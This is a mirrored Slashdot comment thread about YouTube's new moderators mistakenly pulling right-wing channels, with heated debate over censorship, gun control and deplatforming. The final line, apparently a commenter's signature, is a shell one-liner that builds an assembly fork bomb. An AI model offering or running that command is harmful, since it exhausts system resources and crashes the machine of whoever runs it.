Slashdot Mirror
YouTube's New Moderators Mistakenly Pull Right-Wing Channels (bloomberg.com)
In December, said it would assign more than 10,000 people to moderate content in an attempt to curb its child exploitation problem. Today, Bloomberg reports that those new moderators mistakenly removed several videos and some channels from right-wing, pro-gun video producers and outlets in the midst of a nationwide debate on gun control. From the report: Some YouTube channels recently complained about their accounts being pulled entirely. On Wednesday, the Outline highlighted accounts, including Titus Frost, that were banned from the video site. Frost tweeted on Wednesday that a survivor of the shooting, David Hogg, is an actor. Jerome Corsi of right-wing conspiracy website Infowars said on Tuesday that YouTube had taken down one of his videos and disabled his live stream. Shutting entire channels would have marked a sweeping policy change for YouTube, which typically only removes channels in extreme circumstances and focuses most disciplinary action on specific videos. But YouTube said some content was taken down by mistake. The site didn't address specific cases and it's unclear if it meant to take action on the accounts of Frost and Corsi. "As we work to hire rapidly and ramp up our policy enforcement teams throughout 2018, newer members may misapply some of our policies resulting in mistaken removals," a YouTube spokeswoman wrote in an email. "We're continuing to enforce our existing policies regarding harmful and dangerous content, they have not changed. We'll reinstate any videos that were removed in error."
Never attribute to malice that which can be explained by incompetence.
However, this isn't the first time youtube has screwed up like this.
Why the hell are they allowing obviously untrained people the power to wipe out entire channels on a whim?
-- Will program for bandwidth
Mistakenly?
-- Cheers!
promoting the conspiracy theory that the kids caught up in the last school shooting were "crisis actors" and that the shooting was a "false flag" (e.g. it never really happened).
Personally if I were Youtube I wouldn't want to be associated with those kind of nut jobs (if they believe it) or bastards (if they don't believe it and are just passing it around to get a rise out of the nut jobs). Remember kiddies, it's not censorship if the government didn't do it. You have a right to speak, you do not have a right to make google pay for your megaphone.
Meanwhile Youtube continue to de-rank left wing media in favor of corporate media (CNN, MSNBC, Fox News, etc).
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
when Facebook, Twitter, etc creates a new policy to deal with troublesome speech. The first thing that happens is the Right is taken out big time ;)
;)
;)
Then there is the oops, and the just a coincidence responses and over time some are brought back.
What a bogus hoot
just my 2 cents
Where do you draw the line when we also value freedom of speech? People like Alex jones are nucking futs but pulling down a channel like that only makes it worse by lending credibility and showing its worthy of attention. I completely disagree with nearly anything out of that mans mouth but banning him from YouTube is something I would not be ok with. If people can't tell reality from fiction then the problem is worse than the internet police can address.
Google should have given a quick glance at Lois Lerner's resume before hiring her to run their Department Of Capricious Silencing. Or, maybe they did!
Don't disappoint your bird dog. Go to the range.
From looking, Sanders started at about 800K and ended up at about 300, about the same proportion as Trump.
There's really no comparison, because Trump's numbers were so much higher to begin with. Maybe Trump just acquired more casual onlookers than the other candidates.
Slashdot: providing anti-social weirdos a soapbox, since 1997.
FTA:
YouTube’s new moderators, brought in to spot fake, misleading and extreme videos, stumbled in one of their first major tests, mistakenly removing some clips and channels in the midst of a nationwide debate on gun control.
[..]
On Wednesday, the Outline highlighted accounts, including Titus Frost, that were banned from the video site. Frost tweeted on Wednesday that a survivor of the shooting, David Hogg, is an actor. Jerome Corsi of right-wing conspiracy website Infowars said on Tuesday that YouTube had taken down one of his videos and disabled his live stream.
If Frost and Corsi don't qualify as fake, misleading, and extreme then those words have lost meaning.
ps. Has anyone else noticed /. being slow and intermittent the last few days? I wonder if they're on the receiving of a DDOS or something.
I stole this Sig
And you need a permit to operate a car. Look there are many many reason all those car/cooking knife (or heck swimming pool) comparison to gun death are utterly stupid. For one we have accepted that some objects have a primary useful activity which the general public enjoy making our capitalist societies better : transportation (car) cooking/preparing/cutting (knife) and entertainment (swimming pool). When accident do happen we try as a society to make up new law enforcing certain protection or minimum standard to help increase security lower death count, e.g. seat belt, e.g. baby seat placement instruction on car seat. Killing is at best a bar far secondary objective of such items (combat knife) or even never the objective (car, pool). But with gun it is different. The primary reason of the guns, is that they were invented to kill more efficiently. Forget the BS about sport , that did not happen in the 18th century for your average person in the US, at the time of the framing of the second amendment. And yet contrary to car, you don't have anywhere near the regulation for an instrument made up primary to kill. You don't even have nearly the same training, and you have not even the same follow up on ownership.
Every attempt at having a minimum , heck like car tracking ownership or having non discriminatory permit/training is met by a "they want to get uuuuur guuuunns" lobby of the NRA which says "no" to EVERYTHING. As long as you let those fuckers block everything with a "no", even something as simple as allowing : 1) tracking ownership electronically 2) enforce having a real training with permit like a car (that does not infringe the general population right of ownership IMO if it stops you getting one because you are too fucked up to pass the permit, as long as the exams is not the stupid 4h training the NRA offer anybody can pass with the finger in the nose) 3) allow again the CDC to study gun violence and/or solution , then the situation will get fucked up. Look up the statistics : while gun violence dropped in the last 3 decades, mass shooting actually rose. Sharply. That should tell you something right there.
C. Sagan : A demon haunted world:
http://www.amazon.com/gp/product/0345409469/
visit randi.org
Google et al that owns youtube is a public corporation. While it may set the rules for how its site is used, that does not place it beyond long overdue anti-trust examination.
Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
Well, you say that, but when Google controls the narrative and buys congresscritters, the difference between Google's censorship and federal censorship becomes meaningless.
That works both ways. Congresscritters (and governments in Europe) are increasingly leaning on social media behemoths to curb hate speech and "fake news". Which is more than a little bit scary. What is "fake"? Recently some EU task force accused a couple of newspapers and websites of spreading fake news. In a few cases they retracted the accusation, but not until the websites themselves pointed out the articles in question were wholly factual, and threatened legal action. I really don't want that sort of stuff going on behind the scenes, where websites might not even know they were cut from the news feeds and penalized in page rankings.
There's much talk these days about the influence of large social media companies. But if these companies can be called upon to fight "fake news", by the same token they can be called upon to uphold principles of free speech. I am in favour of applying some additional "common carrier"-like rules to the larger social media sites, not to enforce censorship but to prevent it. When these companies grow to a certain size, they should be considered a "public space" and forced to offer their services indiscriminately... just like many other services are. And to be clear, in my country "indiscriminately" by law doesn't just mean race or gender or religion, it also applies to political conviction.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
Which is FUCKING HILARIOUS.
Because someone DID JUST THAT.
Voat.
And you know what happened? They got DDoS'd for weeks (if not months). And when THAT didn't stop it? They posted child porn, and then called their ISP and said "Look, you're hosting a child porn website."
Yeah. All of those people who say "Start your own" are straight up liars. They don't want you to move... they want to "deplatform" you. A literal term, coined by the left. Once the PLATFORM changes? _They go after the next platform._
They don't even hide it anymore. Look at this one. Where they want their readers to harass any company that supports the NRA, and keep a constant update of who is still holding out, and who has collapsed:
https://thinkprogress.org/corp...
Or look at Daily Stormer. They had their own website and it was pulled. They got another website and that was pulled. Their domain name has been seized.
https://en.wikipedia.org/wiki/...
Now I don't like Andrew Anglin one bit but the argument 'if you don't like how Google run their platform, get your own' is dishonest. If all the tech companies discriminate in the same way what you've got is something much more analogous to the pre civil rights era were all businesses in an area refused to serve black people than a normal free market where you can always get service somewhere.
Now historically there's certain amount of irony here. Andrew Anglin is a white supremacist who'd have supported the right of all businesses in an area to discriminate against a race to the point that race could not get service. However he opposes that happening to him. Meanwhile the left now claims to have always opposed discrimination on the grounds of race. That's not quite accurate though - the KKK was a Democrat organisation opposed by the Republicans.
https://en.wikipedia.org/wiki/...
Although there was little organizational structure above the local level, similar groups rose across the South and adopted the same name and methods. Klan groups spread throughout the South as an insurgent movement promoting resistance and white supremacy during the Reconstruction Era. For example, Confederate veteran John W. Morton founded a chapter in Nashville, Tennessee. As a secret vigilante group, the Klan targeted freedmen and their allies; it sought to restore white supremacy by threats and violence, including murder, against black and white Republicans. In 1870 and 1871, the federal government passed the Enforcement Acts, which were intended to prosecute and suppress Klan crimes.
The first Klan had mixed results in terms of achieving its objectives. It seriously weakened the black political establishment through its use of assassinations and threats of violence; it drove some people out of politics. On the other hand, it caused a sharp backlash, with passage of federal laws that historian Eric Foner says were a success in terms of "restoring order, reinvigorating the morale of Southern Republicans, and enabling blacks to exercise their rights as citizens". Historian George C. Rable argues that the Klan was a political failure and therefore was discarded by the Democratic leaders of the South. He says:
the Klan declined in strength in part because of internal weaknesses; its lack of central organization and the failure of its leaders to control criminal elements and sadists. More fundamentally, it declined because it failed to achieve its central objective -- the overthrow of Republican state governments in the South.
After the Klan was suppressed, similar insurgent paramilitary groups arose that were explicitly directed at suppressing Republican voting and turning Republicans out of office: the White League, which started in Louisiana in 1874; and the Red Shirts, which started in Mississippi and developed chapters in the Carolinas. For instance, the Red Shirts are credited with helping elect Wade Hampton as governor in South Carolina. They were described as acting as the military arm of the Democratic Party and are attributed with helping white Democrats regain control of state legislatures throughout the South. In addition, there were thousands of Confederate veterans in what were called rifle clubs.
Jim Crow laws were a response to the Republican imposed reconstruction era regime.
https://en.wikipedia.org/wiki/...
Jim Crow laws were state and local laws that enforced racial segregation in the Southern United States. Enacted by white Democratic-dominated state legisl
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;